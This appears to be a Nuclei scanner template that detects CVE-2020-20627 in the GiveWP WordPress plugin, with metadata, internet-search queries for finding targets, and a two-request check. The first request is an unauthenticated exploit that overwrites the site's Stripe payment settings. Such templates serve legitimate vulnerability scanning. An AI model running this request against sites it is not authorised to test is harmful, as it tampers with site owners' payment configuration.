id: CVE-2020-20627

info:
  name: GiveWP - Missing Authorization to Settings Update
  author: daffainfo
  severity: medium
  description: |
    GiveWP plugin through 2.5.9 for WordPress contains an unauthenticated settings change caused by insecure access in includes/gateways/stripe/includes/admin/admin-actions.php, letting attackers modify settings without authentication, exploit requires no authentication.
  impact: |
    Attackers can modify plugin settings without authentication, potentially leading to unauthorized transactions or configuration changes.
  remediation: |
    Update to the latest version of GiveWP plugin that addresses this issue.
  reference:
    - https://blog.nintechnet.com/multiple-vulnerabilities-fixed-in-wordpress-givewp-plugin/
    - https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/give/givewp-259-missing-authorization-to-settings-update
    - https://nvd.nist.gov/vuln/detail/CVE-2020-20627
    - https://github.com/20142995/nuclei-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N
    cvss-score: 5.3
    cve-id: CVE-2020-20627
    cwe-id: CWE-306
    epss-score: 0.02812
    epss-percentile: 0.86342
    cpe: cpe:2.3:a:givewp:givewp:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: givewp
    product: givewp
    framework: wordpress
    publicwww-query: "wp-content/plugins/give"
    shodan-query: http.html:"/wp-content/plugins/give/"
    fofa-query: body="/wp-content/plugins/give/"
  tags: cve,cve2020,wp,wordpress,wp-plugin,givewp,unauth,intrusive,vkev

flow: http(1) && http(2)

variables:
  stripe_publishable_key: '{{randbase(8)}}'
  stripe_publishable_key_test: '{{randbase(8)}}'
  stripe_user_id: '{{randbase(8)}}'
  stripe_access_token: '{{randbase(8)}}'
  stripe_access_token_test: '{{randbase(8)}}'

http:
  - method: GET
    path:
      - "{{BaseURL}}/wp-admin/admin-post.php?page=give-settings&stripe_publishable_key={{stripe_publishable_key}}&stripe_publishable_key_test={{stripe_publishable_key_test}}&stripe_user_id={{stripe_user_id}}&stripe_access_token={{stripe_access_token}}&stripe_access_token_test={{stripe_access_token_test}}&connected=1"

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'len(body) == 0'
        condition: and
        internal: true

  - method: GET
    path:
      - "{{BaseURL}}"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '/wp-content/plugins/give/'
          - '"base_country":'
          - '"stripe_card_update":'
          - '"stripe_account_id":"{{stripe_user_id}}"'
        condition: and

      - type: word
        part: content_type
        words:
          - 'text/html'

      - type: status
        status:
          - 200
# digest: 4a0a00473045022020fb6b3a197653b996728cdcb4d00af3e8b8fd011731e2ea8d99ed2521e7c016022100d521ed4f2bce2a269e195a5da2c2a114a8aa6b96467bdb932b9858282e9f2d05:922c64590222798bb761d5b6d8e72950